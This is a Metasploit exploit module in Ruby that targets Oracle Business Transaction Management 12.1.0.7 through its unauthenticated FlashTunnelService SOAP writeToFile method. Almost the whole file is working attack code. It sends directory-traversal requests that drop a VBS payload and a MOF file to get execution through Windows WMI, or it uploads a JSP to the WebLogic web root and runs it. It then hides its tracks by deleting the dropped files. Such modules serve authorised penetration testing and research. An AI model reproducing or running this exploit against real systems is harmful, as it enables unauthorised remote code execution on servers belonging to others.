##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::WbemExec
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Oracle Business Transaction Management FlashTunnelService Remote Code Execution',
            'Description'    => %q{
                    This module exploits abuses the FlashTunnelService SOAP web service on Oracle
                Business Transaction Management 12.1.0.7 to upload arbitrary files, without
                authentication, using the WriteToFile method. The same method contains a directory
                traversal vulnerability, which allows to upload the files to arbitrary locations.
 
                In order to execute remote code two techniques are provided. If the Oracle app has
                been deployed in the same WebLogic Samples Domain a JSP can be uploaded to the web
                root. If a new Domain has been used to deploy the Oracle application, the Windows
                Management Instrumentation service can be used to execute arbitrary code.
 
                Both techniques has been successfully tested on default installs of Oracle BTM
                12.1.0.7, Weblogic 12.1.1 and Windows 2003 SP2. Default path traversal depths are
                provided, but the user can configure the traversal depth using the DEPTH option.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'rgod <rgod[at]autistici.org>', # Vulnerability Discovery and PoC
                    'sinn3r', # Metasploit module
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'OSVDB', '85087' ],
                    [ 'BID', '54839' ],
                    [ 'EDB', '20318' ]
                ],
            'DefaultOptions'  =>
                {
                    'WfsDelay' => 5
                },
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'           => 2048,
                    'StackAdjustment' => -3500
                },
            'Platform'       => [ 'java', 'win' ],
            'Targets'        =>
                [
                    [ 'Oracle BTM 12.1.0.7 / Weblogic 12.1.1 with Samples Domain / Java',
                        {
                            'Arch' => ARCH_JAVA,
                            'Depth' => 10
                        },
                    ],
                    [ 'Oracle BTM 12.1.0.7 / Windows 2003 SP2 through WMI',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win',
                            'Depth' => 13
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Aug 07 2012'))
 
        register_options(
            [
                Opt::RPORT(7001),
                OptInt.new('DEPTH', [false, 'Traversal depth'])
            ], self.class)
    end
 
    def on_new_session(client)
 
        return if not @var_mof_name
        return if not @var_vbs_name
 
        if client.type != "meterpreter"
            print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
            print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.")
            return
        end
 
        # stdapi must be loaded before we can use fs.file
        client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
 
        cmd = "C:\\windows\\system32\\attrib.exe -r " +
                    "C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
 
        client.sys.process.execute(cmd, nil, {'Hidden' => true })
 
        begin
            print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
            client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
            print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
            client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
        rescue ::Exception => e
            print_error("Exception: #{e.inspect}")
        end
 
    end
 
    def exploit
 
        peer = "#{rhost}:#{rport}"
 
        if target.name =~ /WMI/
 
            # In order to save binary data to the file system the payload is written to a .vbs
            # file and execute it from there.
            @var_mof_name = rand_text_alpha(rand(5)+5)
            @var_vbs_name = rand_text_alpha(rand(5)+5)
 
            print_status("Encoding payload into vbs...")
            my_payload = generate_payload_exe
            vbs_content = Msf::Util::EXE.to_exe_vbs(my_payload)
 
            print_status("Generating mof file...")
            mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")
 
            if not datastore['DEPTH'] or datastore['DEPTH'] == 0
                traversal = "..\\" * target['Depth']
            else
                traversal = "..\\" * datastore['DEPTH']
            end
            traversal << "WINDOWS\\system32\\#{@var_vbs_name}.vbs"
 
            print_status("#{peer} - Uploading the VBS payload")
 
            soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
            soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
            soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
            soap_request << " <soapenv:Header/>"
            soap_request << " <soapenv:Body>"
            soap_request << "     <int:writeToFileRequest>"
            soap_request << "         <int:writeToFile handle=\"#{traversal}\">"
            soap_request << "             <typ:text>#{Rex::Text.html_encode(vbs_content)}</typ:text>"
            soap_request << "             <typ:WriteToFileRequestVersion>"
            soap_request << "             </typ:WriteToFileRequestVersion>"
            soap_request << "         </int:writeToFile>"
            soap_request << "     </int:writeToFileRequest>"
            soap_request << " </soapenv:Body>"
            soap_request << "</soapenv:Envelope>"
 
            res = send_request_cgi(
                {
                    'uri'        => '/btmui/soa/flash_svc/',
                    'version'    => '1.1',
                    'method'     => 'POST',
                    'ctype'      => "text/xml;charset=UTF-8",
                    'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
                    'data'       => soap_request,
                }, 5)
 
            if res and res.code == 200 and res.body =~ /writeToFileResponse/
                print_status("#{peer} - VBS payload successfully uploaded")
            else
                print_error("#{peer} - Failed to upload the VBS payload")
                return
            end
 
            if not datastore['DEPTH'] or datastore['DEPTH'] == 0
                traversal = "..\\" * target['Depth']
            else
                traversal = "..\\" * datastore['DEPTH']
            end
            traversal << "WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof"
 
            soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
            soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
            soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
            soap_request << " <soapenv:Header/>"
            soap_request << " <soapenv:Body>"
            soap_request << "     <int:writeToFileRequest>"
            soap_request << "         <int:writeToFile handle=\"#{traversal}\">"
            soap_request << "             <typ:text>#{Rex::Text.html_encode(mof_content)}</typ:text>"
            soap_request << "             <typ:WriteToFileRequestVersion>"
            soap_request << "             </typ:WriteToFileRequestVersion>"
            soap_request << "         </int:writeToFile>"
            soap_request << "     </int:writeToFileRequest>"
            soap_request << " </soapenv:Body>"
            soap_request << "</soapenv:Envelope>"
 
            print_status("#{peer} - Uploading the MOF file")
 
            res = send_request_cgi(
                {
                    'uri'        => '/btmui/soa/flash_svc/',
                    'version'    => '1.1',
                    'method'     => 'POST',
                    'ctype'      => "text/xml;charset=UTF-8",
                    'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
                    'data'       => soap_request,
                }, 5)
 
            if res and res.code == 200 and res.body =~ /writeToFileResponse/
                print_status("#{peer} - MOF file successfully uploaded")
            else
                print_error("#{peer} - Failed to upload the MOF file")
                return
            end
 
        elsif target['Arch'] == ARCH_JAVA
 
            @jsp_name = rand_text_alpha(rand(5)+5)
 
            if not datastore['DEPTH'] or datastore['DEPTH'] == 0
                traversal = "..\\" * target['Depth']
            else
                traversal = "..\\" * datastore['DEPTH']
            end
            traversal << "\\server\\examples\\build\\mainWebApp\\#{@jsp_name}.jsp"
 
            print_status("#{peer} - Uploading the JSP payload")
 
            soap_request = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" "
            soap_request << "xmlns:int=\"http://schemas.amberpoint.com/flashtunnel/interfaces\" "
            soap_request << "xmlns:typ=\"http://schemas.amberpoint.com/flashtunnel/types\">"
            soap_request << " <soapenv:Header/>"
            soap_request << " <soapenv:Body>"
            soap_request << "     <int:writeToFileRequest>"
            soap_request << "         <int:writeToFile handle=\"#{traversal}\">"
            soap_request << "             <typ:text>#{Rex::Text.html_encode(payload.encoded)}</typ:text>"
            soap_request << "             <typ:WriteToFileRequestVersion>"
            soap_request << "             </typ:WriteToFileRequestVersion>"
            soap_request << "         </int:writeToFile>"
            soap_request << "     </int:writeToFileRequest>"
            soap_request << " </soapenv:Body>"
            soap_request << "</soapenv:Envelope>"
 
            res = send_request_cgi(
                {
                    'uri'        => '/btmui/soa/flash_svc/',
                    'version'    => '1.1',
                    'method'     => 'POST',
                    'ctype'      => "text/xml;charset=UTF-8",
                    'SOAPAction' => "\"http://soa.amberpoint.com/writeToFile\"",
                    'data'       => soap_request,
                }, 5)
 
            if res and res.code == 200 and res.body =~ /writeToFileResponse/
                print_status("#{peer} - JSP payload successfully uploaded")
            else
                print_error("#{peer} - Failed to upload the JSP payload")
                return
            end
 
            print_status("#{peer} - Executing the uploaded JSP #{@jsp_name}.jsp ...")
            res = send_request_cgi(
                {
                    'uri'        => "/#{@jsp_name}.jsp",
                    'version'    => '1.1',
                    'method'     => 'GET',
                }, 5)
 
        end
 
    end
 
end